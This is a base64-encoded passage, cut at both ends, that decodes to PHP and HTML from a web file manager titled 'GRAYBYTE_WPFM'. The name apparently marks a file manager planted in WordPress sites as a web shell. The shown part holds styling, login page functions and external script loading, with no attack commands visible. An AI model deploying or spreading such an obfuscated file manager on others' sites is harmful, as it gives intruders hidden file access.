ZW47XG4gICAgICAgICAgICAgICAgY29sb3I6IGdyZWVuXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmVycm9yIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IHJlZDtcbiAgICAgICAgICAgICAgICBjb2xvcjogcmVkXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLmFsZXJ0IHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IG9yYW5nZTtcbiAgICAgICAgICAgICAgICBjb2xvcjogb3JhbmdlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkuZm0tbG9naW4tcGFnZS50aGVtZS1kYXJrIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjMmYyYTJhO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayBzdmcgZyxcbiAgICAgICAgICAgIC50aGVtZS1kYXJrIHN2ZyBwYXRoIHtcbiAgICAgICAgICAgICAgICBmaWxsOiAjZmZmZmZmO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGhlbWUtZGFyayAuZm9ybS1jb250cm9sIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2ZmZjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjNDAzZTNlO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuaC0xMDB2aCB7XG4gICAgICAgICAgICAgICAgbWluLWhlaWdodDogMTAwdmg7XG4gICAgICAgICAgICB9XG4gICAgICAgIDxcL3N0eWxlPlxuICAgIDxcL2hlYWQ+XG5cbiAgICA8Ym9keSBjbGFzcz1cImZtLWxvZ2luLXBhZ2UgPD9waHAgZWNobyAoRk1fVEhFTUUgPT0gXCJkYXJrXCIpID8gJ3RoZW1lLWRhcmsnIDogJyc7ID8+XCI+XG4gICAgICAgIDxkaXYgaWQ9XCJ3cmFwcGVyXCIgY2xhc3M9XCJjb250YWluZXItZmx1aWRcIj5cblxuICAgICAgICA8P3BocFxuICAgIH1cblxuICAgIFwvKipcbiAgICAgKiBTaG93IHBhZ2UgZm9vdGVyIGluIExvZ2luIEZvcm1cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19mb290ZXJfbG9naW4oKVxuICAgIHtcbiAgICAgICAgPz5cbiAgICAgICAgPFwvZGl2PlxuICAgICAgICA8P3BocCBwcmludF9leHRlcm5hbCgnanMtanF1ZXJ5Jyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdqcy1ib290c3RyYXAnKTsgPz5cbiAgICA8XC9ib2R5PlxuXG4gICAgPFwvaHRtbD5cblxuPD9waHBcbiAgICB9XG5cbiAgICBcLyoqXG4gICAgICogU2hvdyBIZWFkZXIgYWZ0ZXIgbG9naW5cbiAgICAgKlwvXG4gICAgZnVuY3Rpb24gZm1fc2hvd19oZWFkZXIoKVxuICAgIHtcbiAgICAgICAgaGVhZGVyKFwiQ29udGVudC1UeXBlOiB0ZXh0XC9odG1sOyBjaGFyc2V0PXV0Zi04XCIpO1xuICAgICAgICBoZWFkZXIoXCJFeHBpcmVzOiBTYXQsIDI2IEp1bCAxOTk3IDA1OjAwOjAwIEdNVFwiKTtcbiAgICAgICAgaGVhZGVyKFwiQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUsIHBvc3QtY2hlY2s9MCwgcHJlLWNoZWNrPTBcIik7XG4gICAgICAgIGhlYWRlcihcIlByYWdtYTogbm8tY2FjaGVcIik7XG5cbiAgICAgICAgZ2xvYmFsICRzdGlja3lfbmF2YmFyLCAkZmF2aWNvbl9wYXRoO1xuICAgICAgICAkaXNTdGlja3lOYXZCYXIgPSAkc3RpY2t5X25hdmJhciA/ICduYXZiYXItZml4ZWQnIDogJ25hdmJhci1ub3JtYWwnO1xuPz5cbiAgICA8IURPQ1RZUEUgaHRtbD5cbiAgICA8aHRtbCBkYXRhLWJzLXRoZW1lPVwiPD9waHAgZWNobyBGTV9USEVNRTsgPz5cIj5cblxuICAgIDxoZWFkPlxuICAgICAgICA8bWV0YSBjaGFyc2V0PVwidXRmLThcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cInZpZXdwb3J0XCIgY29udGVudD1cIndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xLCBzaHJpbmstdG8tZml0PW5vXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJkZXNjcmlwdGlvblwiIGNvbnRlbnQ9XCJXZWIgYmFzZWQgRmlsZSBNYW5hZ2VyIGluIFBIUCwgTWFuYWdlIHlvdXIgZmlsZXMgZWZmaWNpZW50bHkgYW5kIGVhc2lseSB3aXRoIFRpbnkgRmlsZSBNYW5hZ2VyXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJhdXRob3JcIiBjb250ZW50PVwiQ0NQIFByb2dyYW1tZXJzXCI+XG4gICAgICAgIDxtZXRhIG5hbWU9XCJyb2JvdHNcIiBjb250ZW50PVwibm9pbmRleCwgbm9mb2xsb3dcIj5cbiAgICAgICAgPG1ldGEgbmFtZT1cImdvb2dsZWJvdFwiIGNvbnRlbnQ9XCJub2luZGV4XCI+XG4gICAgICAgIDw/cGhwIGlmICgkZmF2aWNvbl9wYXRoKSB7XG4gICAgICAgICAgICBlY2hvICc8bGluayByZWw9XCJpY29uXCIgaHJlZj1cIicgLiBmbV9lbmMoJGZhdmljb25fcGF0aCkgLiAnXCIgdHlwZT1cImltYWdlXC9wbmdcIj4nO1xuICAgICAgICB9ID8+XG4gICAgICAgIDx0aXRsZT5HUkFZQllURV9XUEZNPFwvdGl0bGU+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdwcmUtanNkZWxpdnInKTsgPz5cbiAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ3ByZS1jbG91ZGZsYXJlJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZm9udC1hd2Vzb21lJyk7ID8+XG4gICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PlxuICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PlxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxuICAgICAgICAgICAgd2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+JztcbiAgICAgICAgPFwvc2NyaXB0PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBodG1sIHtcbiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgICAgICAgICAgICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgICAgICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7XG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAgICAgICAgIHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAqLFxuICAgICAgICAgICAgKjo6YmVmb3JlLFxuICAgICAgICAgICAgKjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjdGN0Y3O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNTVweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgYSxcbiAgICAgICAgICAgIGE6aG92ZXIsXG4gICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICBhOmZvY3VzIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZpbGVuYW1lLFxuICAgICAgICAgICAgdGQsXG4gICAgICAgICAgICB0aCB7XG4gICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubmF2YmFyLWJyYW5kIHtcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgLmRyb3Bkb3duLW1lbnUgYSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc2VhcmNoLWFkZG9uIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJsLTAge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyci0wIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFkLWNydW1iIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2NjY2NjYztcbiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHtcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLCB3aWR0aCAwcyAuMjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6ICMyMjIyMjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZSB0ZCxcbiAgICAgICAgICAgIC50YWJsZSB0aCB7XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LFxuICAgICAgICAgICAgLnRhYmxlIC5jdXN0b20tY2hlY2tib3gtaGVhZGVyIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gge1xuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1zbSB0aCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogLjRyZW07XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YxZjFmMTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmhpZGRlbiB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmUud2l0aC1obGpzIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlcjogMDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogc2Nyb2xsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBjb2RlLm1heGhlaWdodCxcbiAgICAgICAgICAgIHByZS5tYXhoZWlnaHQge1xuICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTtcbiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4O1xuICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNlY2VjZWNcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZhLmZhLWhvbWUge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucGF0aCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmb3JtLmRyb3B6b25lIHtcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogNnJlbTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnJpZ2h0IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY2VudGVyLFxuICAgICAgICAgICAgLmNsb3NlLFxuICAgICAgICAgICAgLmxvZ2luLWZvcm0sXG4gICAgICAgICAgICAucHJldmlldy1pbWctY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uge1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDRweCA3cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGdyZWVuO1xuICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlblxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7XG4gICAgICAgICAgICAgICAgY29sb3I6IHJlZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5hbGVydCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7XG4gICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy1pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiA4MHZoO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyk7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiB6b29tLWluXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBub25lO1xuICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxZW07XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDNweCA0cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy12aWRlbyB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDYyLjUlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8ge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY29tcGFjdC10YWJsZSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAwO1xuICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLFxuICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGgge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5maWxlbmFtZSB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiA0MjBweDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkIHtcbiAgICAgICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDMwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkKy5mbG9hdC1yaWdodD5hIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNHB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNlZGl0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICByaWdodDogMTVweDtcbiAgICAgICAgICAgICAgICB0b3A6IDEwMHB4O1xuICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDtcbiAgICAgICAgICAgICAgICBsZWZ0OiAxNXB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7XG4gICAgICAgICAgICAgICAgI2VkaXRvciB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbm9ybWFsLWVkaXRvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi0yIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IHNtYWxsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5maWxlOmJlZm9yZSxcbiAgICAgICAgICAgIGxpLmZvbGRlcjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTZcIjtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjExNFwiXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZm9sZGVyLW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDE1N2IzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2RhN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGluaGVyaXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAwN2JmZlxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWNvZGUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZDc1ZTcyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07XG4gICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tYWluLW5hdiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcVwvUUNNMW9OaUppZHdveDAzNTVtWG5HXC9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJp